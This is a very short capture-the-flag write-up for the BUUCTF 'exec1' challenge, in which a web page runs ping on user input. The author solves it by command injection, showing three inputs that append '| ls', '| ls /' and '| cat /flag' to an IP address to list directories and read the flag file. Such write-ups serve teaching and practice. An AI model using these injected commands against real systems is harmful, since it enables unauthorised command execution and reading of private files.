[buuctf] [actf2020 freshman competition]exec1

The title website is a website that can ping Various address applet , The result of command execution should be returned

So I thought of injecting other commands

127.0.0.1 | ls

Then look at the root directory

127.0.0.1 | ls /

  See flag, Open it at last

127.0.0.1 | cat /flag